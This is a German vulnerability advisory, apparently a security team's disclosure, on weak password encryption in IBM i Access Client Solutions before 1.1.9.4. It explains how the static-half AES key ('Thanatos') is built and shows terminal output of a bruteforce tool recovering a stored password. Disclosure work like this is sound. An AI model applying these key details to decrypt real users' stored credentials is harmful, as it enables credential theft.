
IBM i Access Client Solutions < 1.1.9.4 - Schwache Passwortverschlüsselung
IBM i Access Client Solutions < 1.1.9.4 - Schwache Passwortverschlüsselung
IBM i Access Client Solutions verwendet zum Speichern von Benutzerpasswörtern den AES-Algorithmus, jedoch setzt sich der 16-Byte-Verschlüsselungsschlüssel aus einer statischen Zeichenfolge (Thanatos) und zufälligen Zeichen aus einer Zeichenfolge zusammen, die aus einer weiteren statischen Zeichenfolge (Behemoth) besteht, kombiniert mit Benutzername, Home-Verzeichnis des Benutzers, Betriebssystem (z.B. Linux) kombiniert mit dem aktuellen Verzeichnis, in dem die Anwendung gestartet wurde. Dadurch ist die Hälfte des Verschlüsselungsschlüssels statisch (Zeichenfolge Thanatos), während die zweite Hälfte sehr begrenzt ist. Dies macht es einem Angreifer sehr leicht, selbst auf einem einzelnen CPU-Kern Passwörter zu erraten.
Hier ist ein Beispiel für die Passwortentschlüsselung des Benutzers mmajchrowicz mit dem Skript as400_password_bruteforce_tool.java vom Konto mkubiak:
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ java as400_password_bruteforce_tool.java mmajchrowicz_funciton_admin_work.bin Linux mmajchrowicz /opt
IBM AS400 Password Bruteforce Tool v0.3 by Michał Majchrowicz AFINE Team
Full keyspace: mmajchrowiczLinux/opt/home/mmajchrowiczBehemoth
Full keyspace length: 47
Reduced keyspace: BmajchrowizLnux/pte
Reduced keyspace length: 19
Found good pass: Thanatosaun/Lcmo
Encrypted system password 7 bytes:
2E 1B 10 0A 1B 0D 0A
Decrypted system password 7 bytes:
50 65 6E 74 65 73 74
Decrypted system password: Pentest
Dieses Problem wurde durch die Verwendung einer schwachen Passwortverschlüsselung verursacht. Dieses Problem wurde in IBM i Access Client Solutions 1.1.9.4 behoben.
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